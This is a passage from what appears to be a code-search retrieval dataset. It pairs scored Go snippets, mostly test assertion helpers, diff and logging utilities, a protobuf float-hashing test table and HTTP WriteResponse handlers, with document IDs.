make(map[string]bool)\n\tfor _, ignoreField := range fieldsToIgnore {\n\t\tmapOfIgnoreFields[ignoreField] = true\n\t}\n\n\tfor i := 0; i < expectedElems.NumField(); i++ {\n\t\texpectedFieldName := typeOfExpectedElems.Field(i).Name\n\t\t// t.Logf(\"Expected assert field: %v\", expectedFieldName)\n\t\tif !mapOfIgnoreFields[expectedFieldName] {\n\t\t\texpectedField := expectedElems.Field(i)\n\t\t\texpectedFieldMetadata := typeOfExpectedElems.Field(i).Type\n\n\t\t\tif expectedFieldMetadata.Kind() == reflect.Struct {\n\t\t\t\tfor j := 0; j < expectedFieldMetadata.NumField(); j++ {\n\t\t\t\t\tif !mapOfIgnoreFields[expectedFieldMetadata.Field(j).Name] {\n\t\t\t\t\t\texpectedValue := testApp.getReflectFieldValueAsString(expectedField.Field(j), expectedFieldMetadata.Field(j).Type)\n\n\t\t\t\t\t\tactualFieldName := expectedFieldMetadata.Field(j).Name\n\t\t\t\t\t\t// t.Logf(\"Expected assert field (nested): %v\", actualFieldName)\n\t\t\t\t\t\tif v, ok := mapOfExpectedToActualField[actualFieldName]; ok {\n\t\t\t\t\t\t\tactualFieldName = v\n\t\t\t\t\t\t}\n\t\t\t\t\t\tactualField := actualElem.FieldByName(actualFieldName)\n\t\t\t\t\t\tif actualField.Kind() == reflect.Ptr {\n\t\t\t\t\t\t\tactualField = actualField.Elem()\n\t\t\t\t\t\t}\n\t\t\t\t\t\tactualValue := fmt.Sprintf(\"%v\", actualField.Interface())\n\n\t\t\t\t\t\tif expectedValue != actualValue {\n\t\t\t\t\t\t\tt.Errorf(\"Expected %v [%v], Actual [%v]!\", actualFieldName, expectedValue, actualValue)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\texpectedValue := testApp.getReflectFieldValueAsString(expectedField, expectedFieldMetadata)\n\n\t\t\t\tactualFieldName := expectedFieldName\n\t\t\t\tif v, ok := mapOfExpectedToActualField[actualFieldName]; ok {\n\t\t\t\t\tactualFieldName = v\n\t\t\t\t}\n\t\t\t\t// t.Logf(\"Actual assert field: %v\", actualFieldName)\n\t\t\t\tactualField := actualElem.FieldByName(actualFieldName)\n\t\t\t\tif actualField.Kind() == reflect.Ptr {\n\t\t\t\t\tactualField = actualField.Elem()\n\t\t\t\t}\n\t\t\t\tactualValue := fmt.Sprintf(\"%v\", actualField.Interface())\n\n\t\t\t\tif expectedValue != actualValue {\n\t\t\t\t\tt.Errorf(\"Expected %v [%v], Actual [%v]!\", actualFieldName, expectedValue, actualValue)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "4e9feadb5760d8769cb55e179c078b02", "score": "0.48596978", "text": "func checkDiff(t *testing.T, sep, a, b, exp string) {\n\taParts := strings.Split(a, sep)\n\tbParts := strings.Split(b, sep)\n\tresultParts := PlusMinus(aParts, bParts)\n\tresult := strings.Join(resultParts, sep)\n\tif exp != result {\n\t\tt.Error(\"PartDiff returned unexpected result:\",\n\t\t\t\"\\n Input A: \", a,\n\t\t\t\"\\n Input B: \", b,\n\t\t\t\"\\n Expected: \", exp,\n\t\t\t\"\\n Result: \", result)\n\t}\n}", "title": "" }, { "docid": "889203afda9116bdbb27742d326e6c9e", "score": "0.48492852", "text": "func (c *common) Skipf(format string, args ...interface{}) {\n\tc.log(fmt.Sprintf(format, args...))\n\tc.SkipNow()\n}", "title": "" }, { "docid": "e65b882742dff4788ede1aab90eae2f4", "score": "0.48430675", "text": "func (csm *DeprecatedConditionedStatusMatcher) NegatedFailureMessage(actual interface{}) (message string) {\n\treturn fmt.Sprintf(\"Expected\\n\\t%#v\\nnot to mach, actual\\n\\t%#v\", csm.expected, actual)\n}", "title": "" }, { "docid": "eea28ad631843cd1e09fb72f902209bc", "score": "0.48347697", "text": "func MessageWithDiff(actual, message, expected string) string {\n\tif TruncatedDiff && len(actual) >= int(TruncateThreshold) && len(expected) >= int(TruncateThreshold) {\n\t\tdiffPoint := findFirstMismatch(actual, expected)\n\t\tformattedActual := truncateAndFormat(actual, diffPoint)\n\t\tformattedExpected := truncateAndFormat(expected, diffPoint)\n\n\t\tspacesBeforeFormattedMismatch := findFirstMismatch(formattedActual, formattedExpected)\n\n\t\ttabLength := 4\n\t\tspaceFromMessageToActual := tabLength + len(\"<string>: \") - len(message)\n\n\t\tpaddingCount := spaceFromMessageToActual + spacesBeforeFormattedMismatch\n\t\tif paddingCount < 0 {\n\t\t\treturn Message(formattedActual, message, formattedExpected)\n\t\t}\n\n\t\tpadding := strings.Repeat(\" \", paddingCount) + \"|\"\n\t\treturn Message(formattedActual, message+padding, formattedExpected)\n\t}\n\n\tactual = escapedWithGoSyntax(actual)\n\texpected = escapedWithGoSyntax(expected)\n\n\treturn Message(actual, message, expected)\n}", "title": "" }, { "docid": "648b6b95ff161ef3c3d3f155e7ce5deb", "score": "0.48328277", "text": "func (*DiscardLogger) Warningf(format string, args ...interface{}) {}", "title": "" }, { "docid": "17fe78cbd504482fea62db28968b935d", "score": "0.47997642", "text": "func (m matchCondition) NegatedFailureMessage(actual interface{}) (message string) {\n\treturn fmt.Sprintf(\"expected\\n\\t%#v\\nto not match\\n\\t%#v\\n\", actual, m.expected)\n}", "title": "" }, { "docid": "23176af22de6b804c99b3b139178124e", "score": "0.47941267", "text": "func floatsDeciEqual(f1, f2 float64) bool {\n\treturn math.Abs(f1-f2) < 0.1\n}", "title": "" }, { "docid": "ec2e7aa6b9ed34cd46b13c64f9bd03fe", "score": "0.47933853", "text": "func (me TglFuncEnum) IsNotequal() bool { return me == \"NOTEQUAL\" }", "title": "" }, { "docid": "38ecab7acf5a392bc4ccbfd72bcc40e3", "score": "0.47868705", "text": "func Debugf(format string, args ...interface{}) {}", "title": "" }, { "docid": "e3f14222e5e3b99c8757c9c30c29c15a", "score": "0.47851306", "text": "func AssertDiff(t *testing.T, expected interface{}, actual interface{}) {\n\tif casted, ok := actual.(string); ok {\n\t\tdecode, encode := Yamlizers(t, InitScheme(t))\n\t\tvar newSlice []string\n\t\tactualSlice := strings.Split(casted, \"---\")\n\n\t\tfor _, str := range actualSlice {\n\t\t\t// we are getting zero length string because the string starts with ---\n\t\t\tif len(str) == 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// if we do not need to parse the string if it does not have an annotation in it\n\t\t\tif !strings.Contains(str, \"cni.projectcalico.org\") {\n\t\t\t\tnewSlice = append(newSlice, str)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// TODO test if the string is actually an api definition???\n\t\t\t// otherwise the decode is going to throw an error\n\n\t\t\truntimeObj := decode([]byte(str))\n\n\t\t\t// we are only removing annotations out of pods\n\t\t\tswitch obj := runtimeObj.(type) {\n\t\t\tcase *v1.Pod:\n\t\t\t\tdelete(obj.ObjectMeta.Annotations, \"cni.projectcalico.org/podIP\")\n\t\t\t\tvar b bytes.Buffer\n\t\t\t\terr := encode(obj, &b)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\tnewSlice = append(newSlice, \"\\n\"+b.String()+\"\\n\")\n\n\t\t\tdefault:\n\t\t\t\t// todo warn and log\n\t\t\t\tnewSlice = append(newSlice, str)\n\t\t\t}\n\t\t}\n\n\t\tnewYaml := strings.Join(newSlice, \"---\")\n\t\tnewYaml = \"---\" + newYaml\n\t\tif diff := cmp.Diff(expected, newYaml); diff != \"\" {\n\t\t\tt.Fatalf(\"unexpected result (-want +got):\\n%v\", diff)\n\t\t}\n\t} else {\n\t\t// Doing the else because of scoping weirdness\n\t\t// I set actual to the strings.Join and it did not carry through\n\t\tif diff := cmp.Diff(expected, actual); diff != \"\" {\n\t\t\tt.Fatalf(\"unexpected result (-want +got):\\n%v\", diff)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "428b5fcda006cf27506860407336845c", "score": "0.47584897", "text": "func (vt ValueTester) NotEqual(others ...interface{}) ValueTester {\n\tvt.t.Helper()\n\tfor _, other := range others {\n\t\teq := Equal(vt.v, other)\n\t\tif eq {\n\t\t\tvt.t.Errorf(\"Equal(v, %v) = true, want false\", other)\n\t\t}\n\t}\n\treturn vt\n}", "title": "" }, { "docid": "3c6176eabf8581c18991215297b3a921", "score": "0.47566092", "text": "func NoFilePrintf(format string, v ...interface{}) {\n\timplementation.Printf(format, v...)\n}", "title": "" }, { "docid": "b51357d06770db0f7428ac9c78c59981", "score": "0.47543737", "text": "func (*DiscardLogger) Warnf(format string, args ...interface{}) {}", "title": "" }, { "docid": "9acc9b70f21facbcd8537e6b9f244beb", "score": "0.4748673", "text": "func Warningf(format string, params ...interface{}) { lprintf(LevelWarning, format, params...) }", "title": "" }, { "docid": "c5cf6d01a90ac6985f26273b1429372b", "score": "0.47451106", "text": "func TestFloatFields(t *testing.T, hashers oi.ProtoHashers) {\n\thasher := hashers.StringPreferringHasher\n\n\ttestCases := []ti.TestCase{\n\t\t/////////////////////////////\n\t\t// Equivalence of Floats. //\n\t\t/////////////////////////////\n\t\t{\n\t\t\tProtos: []proto.Message{\n\t\t\t\t&pb2_latest.DoubleMessage{Values: []float64{-2, -1, 0, 1, 2}},\n\t\t\t\t&pb3_latest.DoubleMessage{Values: []float64{-2, -1, 0, 1, 2}},\n\n\t\t\t\t&pb2_latest.FloatMessage{Values: []float32{-2, -1, 0, 1, 2}},\n\t\t\t\t&pb3_latest.FloatMessage{Values: []float32{-2, -1, 0, 1, 2}},\n\t\t\t},\n\t\t\tEquivalentObject: map[string][]float64{\"values\": {-2, -1, 0, 1, 2}},\n\t\t\tEquivalentJSONString: \"{\\\"values\\\": [-2, -1, 0, 1, 2]}\",\n\t\t\tExpectedHashString: \"586202dddb0e98bb8ce0b7289e29a9f7397b9b1996f3f8fe788f4cfb230b7ee8\",\n\t\t},\n\n\t\t// Note that due to how floating point numbers work, we have to carefully\n\t\t// choose the values below in order for the decimal representation of the\n\t\t// test fractions to have 32-bit and 64-bit representations that are equal.\n\t\t{\n\t\t\tProtos: []proto.Message{\n\t\t\t\t&pb2_latest.DoubleMessage{Values: []float64{0.0078125, 7.888609052210118e-31}},\n\t\t\t\t&pb3_latest.DoubleMessage{Values: []float64{0.0078125, 7.888609052210118e-31}},\n\n\t\t\t\t&pb2_latest.FloatMessage{Values: []float32{0.0078125, 7.888609052210118e-31}},\n\t\t\t\t&pb3_latest.FloatMessage{Values: []float32{0.0078125, 7.888609052210118e-31}},\n\t\t\t},\n\t\t\tEquivalentObject: map[string][]float64{\"values\": {0.0078125, 7.888609052210118e-31}},\n\t\t\tEquivalentJSONString: \"{\\\"values\\\": [0.0078125, 7.888609052210118e-31]}\",\n\t\t\tExpectedHashString: \"7b7cba0ed312bc6611f0523e7c46ce9a2ed9ecb798eb80e1cdf93c95faf503c7\",\n\t\t},\n\n\t\t{\n\t\t\tProtos: []proto.Message{\n\t\t\t\t&pb2_latest.DoubleMessage{Values: []float64{-1.0, 1.5, 1000.000244140625, 1267650600228229401496703205376, 32.0, 13.0009765625}},\n\t\t\t\t&pb3_latest.DoubleMessage{Values: []float64{-1.0, 1.5, 1000.000244140625, 1267650600228229401496703205376, 32.0, 13.0009765625}},\n\n\t\t\t\t&pb2_latest.FloatMessage{Values: []float32{-1.0, 1.5, 1000.000244140625, 1267650600228229401496703205376, 32.0, 13.0009765625}},\n\t\t\t\t&pb3_latest.FloatMessage{Values: []float32{-1.0, 1.5, 1000.000244140625, 1267650600228229401496703205376, 32.0, 13.0009765625}},\n\t\t\t},\n\t\t\tEquivalentObject: map[string][]float64{\"values\": {-1.0, 1.5, 1000.000244140625, 1267650600228229401496703205376, 32.0, 13.0009765625}},\n\t\t\tEquivalentJSONString: \"{\\\"values\\\": [-1.0, 1.5, 1000.000244140625, 1267650600228229401496703205376, 32.0, 13.0009765625]}\",\n\t\t\tExpectedHashString: \"ac261ff3d8b933998e3fea278539eb40b15811dd835d224e0150dce4794168b7\",\n\t\t},\n\n\t\t/////////////////////////////////////////////////////////////////\n\t\t// Non-equivalence of Floats using different representations. //\n\t\t/////////////////////////////////////////////////////////////////\n\t\t{\n\t\t\tProtos: []proto.Message{\n\t\t\t\t&pb2_latest.FloatMessage{Value: proto.Float32(0.1)},\n\t\t\t\t&pb3_latest.FloatMessage{Value: 0.1},\n\n\t\t\t\t// A float64 \"0.1\" is not equal to a float32 \"0.1\".\n\t\t\t\t// However, float32 \"0.1\" is equal to float64 \"1.0000000149011612e-1\".\n\t\t\t\t&pb2_latest.DoubleMessage{Value: proto.Float64(1.0000000149011612e-1)},\n\t\t\t\t&pb3_latest.DoubleMessage{Value: 1.0000000149011612e-1},\n\t\t\t},\n\t\t\tEquivalentObject: map[string]float32{\"value\": 0.1},\n\t\t\tEquivalentJSONString: \"{\\\"value\\\": 1.0000000149011612e-1}\", // JSON objecthash only uses 64-bit floats.\n\t\t\tExpectedHashString: \"7081ed6a1e7ad8e7f981a2894a3bd6d3b0b0033b69c03cce84b61dd063f4efaa\",\n\t\t},\n\n\t\t// There's no float32 number that is equivalent to a float64 \"0.1\".\n\t\t{\n\t\t\tProtos: []proto.Message{\n\t\t\t\t&pb2_latest.DoubleMessage{Value: proto.Float64(0.1)},\n\t\t\t\t&pb3_latest.DoubleMessage{Value: 0.1},\n\t\t\t},\n\t\t\tEquivalentObject: map[string]float64{\"value\": 0.1},\n\t\t\tEquivalentJSONString: \"{\\\"value\\\": 0.1}\",\n\t\t\tExpectedHashString: \"e175fbe785bae88b598d3ecaad8a64d2a998e9f673173a226868f2ef312a5225\",\n\t\t},\n\n\t\t{\n\t\t\tProtos: []proto.Message{\n\t\t\t\t&pb2_latest.FloatMessage{Value: proto.Float32(1.2163543e+25)},\n\t\t\t\t&pb3_latest.FloatMessage{Value: 1.2163543e+25},\n\n\t\t\t\t// The decimal representation of the equivalent 64-bit float is different.\n\t\t\t\t&pb2_latest.DoubleMessage{Value: proto.Float64(1.2163543234531120e+25)},\n\t\t\t\t&pb3_latest.DoubleMessage{Value: 1.2163543234531120e+25},\n\t\t\t},\n\t\t\tEquivalentObject: map[string]float32{\"value\": 1.2163543e+25},\n\t\t\tEquivalentJSONString: \"{\\\"value\\\": 1.2163543234531120e+25}\", // JSON objecthash only uses 64-bit floats.\n\t\t\tExpectedHashString: \"bbb17cf7312f2ba5b0002d781f16d1ab50c3d25dc044ed3428750826a1c68653\",\n\t\t},\n\n\t\t// There's no float32 number that is equivalent to a float64 \"1e+25\".\n\t\t{\n\t\t\tProtos: []proto.Message{\n\t\t\t\t&pb2_latest.DoubleMessage{Value: proto.Float64(1e+25)},\n\t\t\t\t&pb3_latest.DoubleMessage{Value: 1e+25},\n\t\t\t},\n\t\t\tEquivalentObject: map[string]float64{\"value\": 1e+25},\n\t\t\tEquivalentJSONString: \"{\\\"value\\\": 1e+25}\",\n\t\t\tExpectedHashString: \"874beabbede24974a9f3f74e3448670e0c42c0aaba082f18b963b72253649362\",\n\t\t},\n\n\t\t//////////////////////\n\t\t// Special values. //\n\t\t//////////////////////\n\t\t{\n\t\t\tProtos: []proto.Message{\n\t\t\t\t&pb2_latest.DoubleMessage{Value: proto.Float64(0)},\n\t\t\t\t&pb2_latest.FloatMessage{Value: proto.Float32(0)},\n\t\t\t\t// Proto3 zero values are indistinguishable from unset values.\n\t\t\t},\n\t\t\tEquivalentObject: map[string]float64{\"value\": 0},\n\t\t\tEquivalentJSONString: \"{\\\"value\\\":0}\",\n\t\t\tExpectedHashString: \"94136b0850db069dfd7bee090fc7ede48aa7da53ae3cc8514140a493818c3b91\",\n\t\t},\n\n\t\t{\n\t\t\tProtos: []proto.Message{\n\t\t\t\t&pb2_latest.DoubleMessage{Value: proto.Float64(math.NaN())},\n\t\t\t\t&pb3_latest.DoubleMessage{Value: math.NaN()},\n\n\t\t\t\t&pb2_latest.FloatMessage{Value: proto.Float32(float32(math.NaN()))},\n\t\t\t\t&pb3_latest.FloatMessage{Value: float32(math.NaN())},\n\t\t\t},\n\t\t\tEquivalentObject: map[string]float64{\"value\": math.NaN()},\n\t\t\t// No equivalent JSON: JSON does not support special float values.\n\t\t\t// See: https://tools.ietf.org/html/rfc4627#section-2.4\n\t\t\tExpectedHashString: \"16614de29b0823c41cabc993fa6c45da87e4e74c5d836edbcddcfaaf06ffafd1\",\n\t\t},\n\n\t\t{\n\t\t\tProtos: []proto.Message{\n\t\t\t\t&pb2_latest.DoubleMessage{Value: proto.Float64(math.Inf(1))},\n\t\t\t\t&pb3_latest.DoubleMessage{Value: math.Inf(1)},\n\n\t\t\t\t&pb2_latest.FloatMessage{Value: proto.Float32(float32(math.Inf(1)))},\n\t\t\t\t&pb3_latest.FloatMessage{Value: float32(math.Inf(1))},\n\t\t\t},\n\t\t\tEquivalentObject: map[string]float64{\"value\": math.Inf(1)},\n\t\t\t// No equivalent JSON: JSON does not support special float values.\n\t\t\t// See: https://tools.ietf.org/html/rfc4627#section-2.4\n\t\t\tExpectedHashString: \"c58cd512e86204e99cb6c11d83bb3daaccdd946e66383004cb9b7f87f762935c\",\n\t\t},\n\n\t\t{\n\t\t\tProtos: []proto.Message{\n\t\t\t\t&pb2_latest.DoubleMessage{Value: proto.Float64(math.Inf(-1))},\n\t\t\t\t&pb3_latest.DoubleMessage{Value: math.Inf(-1)},\n\n\t\t\t\t&pb2_latest.FloatMessage{Value: proto.Float32(float32(math.Inf(-1)))},\n\t\t\t\t&pb3_latest.FloatMessage{Value: float32(math.Inf(-1))},\n\t\t\t},\n\t\t\tEquivalentObject: map[string]float64{\"value\": math.Inf(-1)},\n\t\t\t// No equivalent JSON: JSON does not support special float values.\n\t\t\t// See: https://tools.ietf.org/html/rfc4627#section-2.4\n\t\t\tExpectedHashString: \"1a4ffd7e9dc1f915c5b3b821d9194ac7d6d2bdec947aa8c3b3b1e9017c651331\",\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\ttc.Check(t, hasher)\n\t}\n}", "title": "" }, { "docid": "ffea4a2c036bd018dd1ea28ae938242d", "score": "0.47439423", "text": "func UnEqual(first string, second string) bool {\r\n\tequalToZero := strings.Compare(first, second)\r\n\tif equalToZero == 0 {\r\n\t\treturn false\r\n\t}\r\n\treturn true\r\n}", "title": "" }, { "docid": "dea69a5532368f4b845f540381994b3d", "score": "0.47435325", "text": "func NotEquals(expected, actual interface{}) error {\n\tif err := validateEqualArgs(expected, actual); err != nil {\n\t\treturn err\n\t}\n\n\tif ObjectsAreEqual(expected, actual) == true {\n\t\treturn errors.New(\"the two objects are not equal\")\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "e5d11fc3d3a54ffcdaa63c9567513686", "score": "0.4737417", "text": "func AssertEq(t *testing.T, actual, expected interface{}) {\n\tt.Helper()\n\tif diff := cmp.Diff(actual, expected); diff != \"\" {\n\t\tt.Fatal(diff)\n\t}\n}", "title": "" }, { "docid": "ae65106ab604124459af76c59322be2b", "score": "0.47319436", "text": "func (h *Helper) Debugf(format string, a ...interface{}) {\n\th.debug.Log(\"msg\", fmt.Sprintf(format, a...))\n}", "title": "" }, { "docid": "77bec17b79d379d5bf7bada68950dbcc", "score": "0.4720823", "text": "func TestMatchNotSameLength(t *testing.T) {\n\t// Setup\n\ttestTuple := createTestTuple()\n\n\t// Create template of different length\n\ttestFields := make([]interface{}, 4)\n\ttestFields[0] = \"Field 1\"\n\ttestFields[1] = 2\n\ttestFields[2] = 3.14\n\ttestFields[3] = false\n\ttestTemplateDifferentLength := CreateTemplate(testFields)\n\n\tif testTuple.match(testTemplateDifferentLength) {\n\t\tt.Errorf(\"%q.match(%q) == false as length of %q = %d and length of %q = %d\", testTuple, testTemplateDifferentLength, testTuple, testTuple.Length(), testTemplateDifferentLength, testTemplateDifferentLength.length())\n\t}\n}", "title": "" }, { "docid": "2958a4b6393f1e32f0b115630f8aa548", "score": "0.4720047", "text": "func NotEqual(fieldPtr interface{}, value interface{}) Filter {\n\treturn &comparisonFilter{fieldPtr, \"<>\", value}\n}", "title": "" }, { "docid": "4fd826357506073e58bfc298ac32cfa3", "score": "0.4719514", "text": "func (s *String) isNotEqual() bool {\n\treturn s.a != s.b\n}", "title": "" }, { "docid": "efe96759b3dbfe512d0b81f765e08496", "score": "0.47138736", "text": "func notEqual(a int, b int) bool {\n\treturn false\n}", "title": "" }, { "docid": "d84903aacc8a807b5d250ac33e01d60b", "score": "0.47032496", "text": "func op_f32_uneq(expr *CXExpression, stack *CXStack, fp int) {\n\tinp1, inp2, out1 := expr.Inputs[0], expr.Inputs[1], expr.Outputs[0]\n\toutB1 := FromBool(ReadF32(stack, fp, inp1) != ReadF32(stack, fp, inp2))\n\tWriteMemory(stack, GetFinalOffset(stack, fp, out1, MEM_WRITE), out1, outB1)\n}", "title": "" }, { "docid": "99ffabc961f577ccfaf03265ee2c5abd", "score": "0.47021973", "text": "func CompareDiff(fg1, fg2 string) int {\n\tdiff := 0\n\tfbyte := []byte(fg1)\n\tfbyte2 := []byte(fg2)\n\tfor i, v := range fbyte {\n\t\tif fbyte2[i] != v {\n\t\t\tdiff++\n\t\t}\n\t}\n\treturn diff\n}", "title": "" }, { "docid": "9b9ef73e41b7fe8a9d5521f0b2f30c92", "score": "0.47019157", "text": "func (g *Graphql) NotAssert(v1, v2 interface{}) {\n\tg.compare(v1, v2, true)\n}", "title": "" }, { "docid": "97fc18ba233933e544b50e78d4cc0c1a", "score": "0.4701239", "text": "func BenchmarkLogNoFmt() {\n\tt := benchmarkln(xlog.NoFmt)\n\tprintBenchmark(xlog.NoFmt, t)\n}", "title": "" }, { "docid": "fd0000bba93b782e356b513f8f5e2391", "score": "0.46934026", "text": "func Debugf(format string, a ...interface{}) string {\n\treturn publicLogger.Debugf(format, a...)\n}", "title": "" } ]
b543e3e838f6ee8658218f398bbfde8f
WriteResponse to the client
[ { "docid": "016da3b32df3d6893c262e40f9e08fb2", "score": "0.0", "text": "func (o *UnbindHostInternalServerError) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(500)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" } ]
[ { "docid": "13b5923c1be247adc0619413a801fa41", "score": "0.77661294", "text": "func (o *GetFoodtrucksAndLocationLocationOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "9eea300d074ed1c92228a072a4f43b97", "score": "0.7673889", "text": "func (o *GetCarsIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "5396b4712041b3ab80a3055249b3a646", "score": "0.76593536", "text": "func (o *AuthorizeOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "1462363264db0ac1025c3e9baf952969", "score": "0.7640173", "text": "func WriteResponse(w http.ResponseWriter, value interface{}) int {\n\tbytes, err := json.MarshalIndent(value, \"\", \" \")\n\tif err != nil {\n\t\treturn http.StatusInternalServerError\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.Write(bytes)\n\treturn http.StatusOK\n}", "title": "" }, { "docid": "9bcf6fad788c1ee017bda97337751b83", "score": "0.76062286", "text": "func (o *SetDeviceCredentialsForDiscoveryOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "627b239e279a3d102718bbfe11d4f60d", "score": "0.75895584", "text": "func (o *GetLiveOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "48917c1ea37e59ca56bdde0db6b7e8cb", "score": "0.7545381", "text": "func (c *Controller) writeResponse(rw io.Writer, v interface{}) {\n\terr := json.NewEncoder(rw).Encode(v)\n\t// as of now, just log errors for writing response\n\tif err != nil {\n\t\t// logger.Errorf(\"Unable to send error response, %s\", err)\n\t\tfmt.Printf(\"Unable to send error response, %s\\n\", err)\n\t}\n}", "title": "" }, { "docid": "d43d540d3d9d2b34aa96a274e9814408", "score": "0.75414705", "text": "func writeResponse(w http.ResponseWriter, r *http.Request) {\n\t// input := r.Context().Value(ctxKey)\n\tw.WriteHeader(200)\n\t// w.Write(input)\n}", "title": "" }, { "docid": "1e721e8ca95f38fa1a5a2ba25cc01aee", "score": "0.7534275", "text": "func writeResponse(w http.ResponseWriter, status int, data interface{}) error {\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\tw.WriteHeader(status)\n\treturn json.NewEncoder(w).Encode(data)\n}", "title": "" }, { "docid": "a4308e46db32435cf08815a689915936", "score": "0.7533782", "text": "func (o *PostOperationsGetMegCreated) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(201)\n}", "title": "" }, { "docid": "7604d874cb3edee5fc8bcba02fbe784b", "score": "0.7523341", "text": "func (o *DeviceCreateCreated) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Location\n\n\tlocation := o.Location\n\tif location != \"\" {\n\t\trw.Header().Set(\"Location\", location)\n\t}\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(201)\n}", "title": "" }, { "docid": "6607e184933640142012f62b91ec8daf", "score": "0.75179726", "text": "func (o *WeavaiteGraphqlPostNotImplemented) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(501)\n}", "title": "" }, { "docid": "321250dd11b7546199f701a8e13a713b", "score": "0.7506506", "text": "func (o *PostOperationsCreateVirtualNetworkServiceCreated) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(201)\n}", "title": "" }, { "docid": "befdf1e82ad55db141bb6e984acf2a34", "score": "0.74952877", "text": "func (o *DeleteRecordingsIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "cb5d760f75bfc2b6e5dda6c0aa99389d", "score": "0.74917793", "text": "func WriteResponse(code *int, response interface{}, w http.ResponseWriter) {\n\tjsonData, err := json.Marshal(response)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(*code)\n\tw.Write(jsonData)\n}", "title": "" }, { "docid": "1237d3ba390072d994fd42e8c23344a4", "score": "0.7473901", "text": "func WriteResponse(w http.ResponseWriter, code int, msg string) {\n\tw.WriteHeader(code)\n\tw.Write([]byte(msg))\n}", "title": "" }, { "docid": "add73576b7d6c4a688875c00d4e7209b", "score": "0.7472304", "text": "func (o *DeleteResourceTypesIDOK) WriteResponse(rw http.ResponseWriter, producer httpkit.Producer) {\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "973fc58c5bf91613d5c94981e9c21232", "score": "0.74570537", "text": "func (rr *responseEcho) WriteResponse(w http.ResponseWriter, r *http.Request) {\n\trr.baseResponse.addHeaders(w)\n\tdefer r.Body.Close()\n\tbody, err := ioutil.ReadAll(r.Body)\n\n\tif err != nil {\n\t\terrorResponse(w, fmt.Sprintf(\"Can't read body %v\", err), 500)\n\t\treturn\n\t}\n\n\tw.WriteHeader(rr.Status[r.Method])\n\t_, _ = w.Write(body)\n}", "title": "" }, { "docid": "e7e5ad13bc08ece54ef2e5642f3e4f68", "score": "0.7453539", "text": "func (o *InfoOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "404680ed8cf383a3204fa9ae045da2ae", "score": "0.74515855", "text": "func (c *Operation) writeResponse(rw io.Writer, v interface{}) {\n\terr := json.NewEncoder(rw).Encode(v)\n\t// as of now, just log errors for writing response\n\tif err != nil {\n\t\tlog.Errorf(\"Unable to send error response, %s\", err)\n\t}\n}", "title": "" }, { "docid": "20d99f88134b5f5f4fcb112f2023629a", "score": "0.7442804", "text": "func WriteResponse(code int, jsonres interface{}, w http.ResponseWriter) {\n\tb, err := json.Marshal(jsonres)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tw.Write([]byte(err.Error()))\n\t} else {\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.WriteHeader(code)\n\t\tw.Write(b)\n\t}\n}", "title": "" }, { "docid": "4adff9c70afbe2c37abb26217be63499", "score": "0.7441781", "text": "func (c *Operation) writeResponse(rw io.Writer, v interface{}) {\n\terr := json.NewEncoder(rw).Encode(v)\n\t// as of now, just log errors for writing response\n\tif err != nil {\n\t\tlogger.Errorf(\"Unable to send error response, %s\", err)\n\t}\n}", "title": "" }, { "docid": "22bfd1dd3f4f9c024fd4bdd89465aea7", "score": "0.74411124", "text": "func (o *GetReadyOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "6231eb12bff8fd66d2c5a6cb67ddd1ed", "score": "0.74164355", "text": "func (o 